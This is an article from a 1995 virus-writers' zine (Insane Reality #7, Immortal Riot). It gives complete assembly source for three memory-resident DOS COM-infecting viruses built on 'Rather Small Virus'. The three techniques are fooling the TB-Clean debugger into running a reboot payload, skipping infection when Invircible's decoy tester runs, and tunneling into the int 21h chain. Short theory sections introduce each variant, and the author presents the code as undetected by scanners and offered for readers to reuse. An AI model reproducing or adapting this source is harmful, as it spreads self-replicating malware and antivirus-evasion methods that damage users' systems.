Insane Reality issue #7 - (c)opyright 1995 Immortal Riot File 015 % Rather Small Virus [RSV] * 3 % -------------------------------- What follow here is in practical the same virus three times :-). It was written by Conzouler ages ago, and it has as well been made public. I'm though quite sure some of you havn't seen it, so there you go.. Notice that this isn't any advanced way-cool things, but maybe some of you find them useful for something, and that's the thought (if there ever were any ;)) behind this article :-). - The Unforgiven. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Three educational viruses to show how to fool debuggers, Invircible and how to perform an "intersegmentary hooking". (c) Conzouler / Immortal Riot 1995 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ I have planned to do a super-mega-ultimate-awsome virus quite some time, but I just haven't done it. That could mean that I am too lazy, maybe. Or that I've been doing some other stuff instead. However, I've done some research (in fact I have done lotsa routines but I haven't put them together in a virus that I'm pleased with yet) and here is three of those routines, two are quite simple but the third is quite interresting. I have put all of these routines on a small virus called RSV or Rather Small Virus. This virus uses com-infect on execute and is resident, it has no other features. It should not be detected by existing scanners. The purpose is that you could look at the code and learn how to use this yourself. First comes AntiTBC, which uses a prefetch trick. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ AntiTBC - A virus based on RSV that will fool TB-Clean. (c) Conzouler / Immortal Riot 1995. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Theory: Debuggers like TB-Clean reads one instruction a time from memory while the processor will read 16 and put them in a prefetch queue. Therefore, if you change code that already is is in the prefetch the change won't affect the program when run normally, but if the program is run with TB-Clean it will run the changed code. Any branch (jumps, calls, ints and rets) will flush the prefetch and 16 bytes will be read from the new position. So, you can change the location of a jump to make some code run if a debugger is used but another when executed normally. Get it? The fun part with TB-Clean is that you can use this tech- nique to simulate a program restoration but instead you put some mean code instead of the original program. You can also just do an int20 when tbscan is executed and make TB-Clean say: "File might not be infected at all or is damaged by an overwriting virus". Which is exactly what TB-Clean would say if the file wasn't infected in the first place. Code: ; ; AntiTBC - written by Conzouler/IR 1995 ; ; Based on RSV. ; ; Features: ; memory resident ; com-append on execute ; no tb-flags (of course) ; no f-prot heuristics ; fools tbclean (look at the restore routine) ; .model tiny .code org 100h psize equ (offset last - offset entry) / 10h + 2 size equ offset last - offset entry entry: db 0e9h,0,0 ; Initial jump start: call gores oentry db 0CDh,20h,90h gores: mov ax, 4277h ; Installation check int 21h jnc restore mov ah, 4Ah ; Get size of memory block mov bx, 0FFFFh int 21h mov ah, 4Ah ; Change size of memory sub bx, psize+1 ; Make space for virus int 21h mov ah, 48h ; Allocate memory mov bx, psize int 21h sub ax, 10h ; Compensate org 100h mov es, ax mov di, 103h mov si, sp ; Get entry point mov si, [si] sub si, 3 ; Subtract first call mov cx, size-3 rep movsb ; Copy virus to new memory push es pop ds inc byte ptr ds:[0F1h] ; Mark owner of memory mov ax, 3521h ; Get interrupt vector int 21h mov i21o, bx mov i21s, es mov ah, 25h ; Set interrupt vector mov dx, offset vec21 int 21h restore: mov di, 100h push cs ; Set es and ds to psp pop ds push ds pop es pop si ; Get entry point push di ; Save it ; This piece of code will fool a debugger ; Check if debugger jmp clear ; Clear prefetch queue clear: mov byte ptr [$+6], 0 ; Disable next jump jmp nodebug ; This jump will be ; disabled if debugger. ; Hohoho.. A debugger or TB-Clean... ; Move destructive code to beginning instead mov cx, efflen add si, offset effect - offset oentry rep movsb retn nodebug: movsw ; Restore program entry point movsb retn ; Jump to 100h effect: ; This is the effect that will run if a debugger is used. ; Reboot db 0EAh, 000h, 0F0h, 0FFh, 0FFh ; Jump FFFF:F000 efflen equ $ - offset effect vec21: cmp ax, 4277h ; Installation check jne v21e iret v21e: cmp ax, 4B00h ; Execute program jne v21x push ax ; Infect file push bx push cx push dx push ds mov ax, 3D82h ; Open file int 21h xchg ax, bx ; Put handle in bx push cs ; Read first bytes pop ds ; to oentry mov ah, 3Fh mov dx, offset oentry mov cx, 3 int 21h cmp byte ptr oentry, 'M' ; Check if exe file je infectx push cx mov ax, 4202h ; Seek to eof xor cx, cx cwd ; Zero dx int 21h sub ax, 3 ; Get offset to eof mov word ptr entry[1], ax ; Save as jump xchg dx, ax mov ax, 4200h int 21h mov ah, 3Fh ; Infection check mov dx, offset last pop cx int 21h cmp byte ptr last[2], 0EAh ; Check if infected je infectx mov byte ptr entry, 0E9h ; Create jump opcode mov ah, 3Fh ; Append virus inc ah ; Fool TBScan push ax mov dx, 103h mov cx, size-7 int 21h mov ax, 4200h ; Insert jump xor cx, cx cwd int 21h pop ax mov dh, 1h ; 100h in dx mov cl, 3 ; 3 in cx int 21h infectx: mov ah, 3Eh int 21h pop ds pop dx pop cx pop bx pop ax v21x: db 0EAh ; Jump to dos vector i21o dw ? i21s dw ? last: end entry ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ AntiIVT - A virus based on RSV that will fool IVTEST and IVINIT. (c) Conzouler / Immortal Riot 1995. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Theory: Invircible test and and init programs use a technique known as "decoy-launching" to detect viruses. The decoy-launcher creates a dummy file with a random name and runs it. Then it checks the file to see if it has changed and if it has, it's been infected. Simple, but effective. The major problem is that it only works with resident viruses, and it can't detect them unless you are infected. It is easy to fool. This virus just checks if the name of the currently running program begins with IV, and if it does, it won't infect a file. Simple but effective. Of course it's easy tool fool this virus, you can just rename IVTEST.EXE. But how many does? The routine has other uses too. A possible use for it should be to check if a program named PKxxxxx was running, and disable stealth. This would solve the problem of disinfecting viruses which don't spread because they have so good stealth. Code: ; ; AntiIVT - written by Conzouler/IR 1995 ; ; A virus based on RSV which fool Invircible's test program. ; ; Features: ; memory resident ; com-append on execute ; no tb-flags (of course) ; no f-prot heuristics ; fools invircible test ; .model tiny .code org 100h psize equ (offset last - offset entry) / 10h + 2 size equ offset last - offset entry entry: db 0e9h,0,0 ; Initial jump start: call gores oentry db 0CDh,20h,90h gores: mov ax, 4277h ; Installation check int 21h jnc restore mov ah, 4Ah ; Get size of memory block mov bx, 0FFFFh int 21h mov ah, 4Ah ; Change size of memory sub bx, psize+1 ; Make space for virus int 21h mov ah, 48h ; Allocate memory mov bx, psize int 21h sub ax, 10h ; Compensate org 100h mov es, ax mov di, 103h mov si, sp ; Get entry point mov si, [si] sub si, 3 ; Subtract first call mov cx, size-3 rep movsb ; Copy virus to new memory push es pop ds inc byte ptr ds:[0F1h] ; Mark owner of memory mov ax, 3521h ; Get interrupt vector int 21h mov i21o, bx mov i21s, es mov ah, 25h ; Set interrupt vector mov dx, offset vec21 int 21h restore: mov di, 100h push cs ; Set es and ds to psp pop ds push ds pop es pop si ; Get entry point push di ; Save it movsw ; Restore program entry point movsb retn ; Jump to 100h vec21: cmp ax, 4277h ; Installation check jne v21e iret v21e: cmp ax, 4B00h ; Execute program jne v21x push ax ; Infect file push bx push cx push dx push ds ; This routine checks the name of the currently running program. mov ah, 62h ; Get psp int 21h dec bx mov ds, bx cmp word ptr ds:[8], 'VI' je infectend pop ds push ds mov ax, 3D82h ; Open file int 21h xchg ax, bx ; Put handle in bx push cs ; Read first bytes pop ds ; to oentry mov ah, 3Fh mov dx, offset oentry mov cx, 3 int 21h cmp byte ptr oentry, 'M' ; Check if exe file je infectx push cx mov ax, 4202h ; Seek to eof xor cx, cx cwd ; Zero dx int 21h sub ax, 3 ; Get offset to eof mov word ptr entry[1], ax ; Save as jump xchg dx, ax mov ax, 4200h int 21h mov ah, 3Fh ; Infection check mov dx, offset last pop cx int 21h cmp byte ptr last[2], 0EAh ; Check if infected je infectx mov byte ptr entry, 0E9h ; Create jump opcode mov ah, 3Fh ; Append virus inc ah ; Fool TBScan push ax mov dx, 103h mov cx, size-7 int 21h mov ax, 4200h ; Insert jump xor cx, cx cwd int 21h pop ax mov dh, 1h ; 100h in dx mov cl, 3 ; 3 in cx int 21h infectx: mov ah, 3Eh int 21h infectend: pop ds pop dx pop cx pop bx pop ax v21x: db 0EAh ; Jump to dos vector i21o dw ? i21s dw ? last: end entry ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Tunneler - A virus based on RSV that uses Tunneling to go resident first in the interrupt chain. (c) Conzouler / Immortal Riot 1995. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Theory: The normal way to chain an interrupt looks like this: Get the address of that interrupt, set the interrupt vector to your handler. When your handler has finished, do a far jump to the old handler. There are only a few common ways of doing this far jump: far direct jump, far immediate jump and the respective calls. So what this virus does is to single-step through the interrupt 21 chain until it finds the opcode for one of the above mentioned jumps or calls whose address is lower than the address of the first memory control block. If it does, it will change that address to point to the virus handler and save the original address. Code: ; ; Tunneler - written by Conzouler/IR 1995 ; ; Based on the Rather Small Virus (refer to RSV.ASM for details). ; Tunneling and intersegmentary hooking added. ; Thanks to TU for supplying ideas and concepts and ; further credits goes to Satan's little helper! ; Features: ; memory resident ; com-append on execute ; no tb-flags (of course) ; tunnels to find dos entry point ; chains in first in the int21 chain ; .model tiny .code org 100h psize equ (offset last - offset entry) / 10h + 2 size equ offset last - offset entry entry: db 0e9h,0,0 ; Initial jump start: call gores oentry db 0CDh,20h,90h gores: mov ax, 4277h ; Installation check int 21h jnc restore mov ah, 4Ah ; Get size of memory block mov bx, 0FFFFh int 21h mov ah, 4Ah ; Change size of memory sub bx, psize+1 ; Make space for virus int 21h mov ah, 48h ; Allocate memory mov bx, psize int 21h sub ax, 10h ; Compensate org 100h mov es, ax mov di, 103h mov si, sp ; Get entry point mov si, [si] sub si, 3 ; Subtract first call mov cx, size-3 rep movsb ; Copy virus to new memory push es pop ds inc byte ptr ds:[0F1h] ; Change block owner push cs call gotun ; Jump to tunneler restore: mov di, 100h ; Offset to program entry push cs ; Set es and ds to psp pop ds push ds pop es pop si ; Get entry point push di ; Prepare jump to 100h movsw ; Restore program entry point movsb retn ; Jump to 100h gotun: push ds ; Jump to tunneler in mov ax, offset tunneler ; new memory push ax retf tunneler: mov ah,52h ; Get list of lists int 21h mov ax, es:[bx-2] ; Get first MCB mov fmcb, ax mov ax, 3521h ; Get int21 int 21h mov i21o, bx mov i21s, es mov al, 01h ; Save int01 int 21h push bx ; on stack push es mov ah, 25h ; Set int01 mov dx, offset vec01 int 21h pushf ; Set trap flag pop ax or ah,1 push ax popf mov ah,0Bh ; Issue dos function pushf ; Simulate interrupt call dword ptr i21o ; for tracing pop ds pop dx pushf ; Get flags pop ax test ah, 1 ; Check trap flag pushf and ah, 0FEh ; Turn off trap flag push ax popf mov ax, 2501h ; Reset int01 int 21h push cs pop ds popf jnz chained mov ah, 25h mov dx, offset vec21 int 21h chained: retf vec01: mov cs:savedax, ax ; Save registers mov cs:savedsi, si mov cs:savedcx, cx pop si ; Get ip in si pop ax ; cs in ax pop cx ; flags in cx push ds mov ds, ax cmp word ptr [si], 05EBh ; Check if tbav jne chaincheck cmp byte ptr [si+2], 0EAh ; Check if tbav jne chaincheck inc si ; Skip tbav inc si chaincheck: cmp byte ptr [si], 09Ah ; Immediate interseg? je chainis cmp byte ptr [si], 0EAh ; Immediate interseg? je chainis cmp word ptr [si], 0FF2Eh ; opc prefix=cs? jne traceexit cmp byte ptr [si+2], 01Eh ; Direct interseg? je chainds cmp byte ptr [si+2], 02Eh ; Direct interseg? je chainds traceexit: pop ds push cx push ax push si db 0B8h savedax dw ? db 0BEh savedsi dw ? db 0B9h savedcx dw ? iret chainis: push si inc si jmp chain chainds: push si mov si, si[3] chain: db 81h,7Ch,02h ; cmp ds:si[2], fmcb fmcb dw ? ; See if jump is to dos jnb chainexit push ax mov ax, si[0] ; Get offset address mov cs:i21o, ax mov ax, si[2] ; Get segment address mov cs:i21s, ax mov si[0], offset vec21 ; Install vec21 mov si[2], cs pop ax and ch, 0FEh ; Clear trap flag chainexit: pop si jmp traceexit vec21: cmp ax, 4277h ; Installation check jne v21e iret v21e: cmp ax, 4B00h ; Execute program je infect v21x: db 0EAh ; Jump to dos vector i21o dw ? i21s dw ? infect: push ax push bx push cx push dx push ds mov ax, 3D82h ; Open file int 21h xchg ax, bx ; Put handle in bx push cs ; Read first bytes pop ds ; to oentry mov ah, 3Fh mov dx, offset oentry mov cx, 3 int 21h cmp byte ptr oentry, 'M' ; Check if exe file je infectx push cx mov ax, 4202h ; Seek to eof xor cx, cx cwd ; Zero dx int 21h sub ax, 3 ; Get offset to eof mov word ptr entry[1], ax ; Save as jump xchg dx, ax mov ax, 4200h int 21h mov ah, 3Fh ; Infection check mov dx, offset last pop cx int 21h cmp byte ptr last[1], 0EBh ; Check if infected je infectx mov byte ptr entry, 0E9h ; Create jump opcode mov ah, 3Fh ; Append virus inc ah ; Fool TBScan push ax mov dx, 103h mov cx, size-3 int 21h mov ax, 4200h ; Insert jump xor cx, cx cwd int 21h pop ax mov dh, 1h ; 100h in dx mov cl, 3 ; 3 in cx int 21h infectx: mov ah, 3Eh int 21h pop ds pop dx pop cx pop bx pop ax jmp v21x last: end entry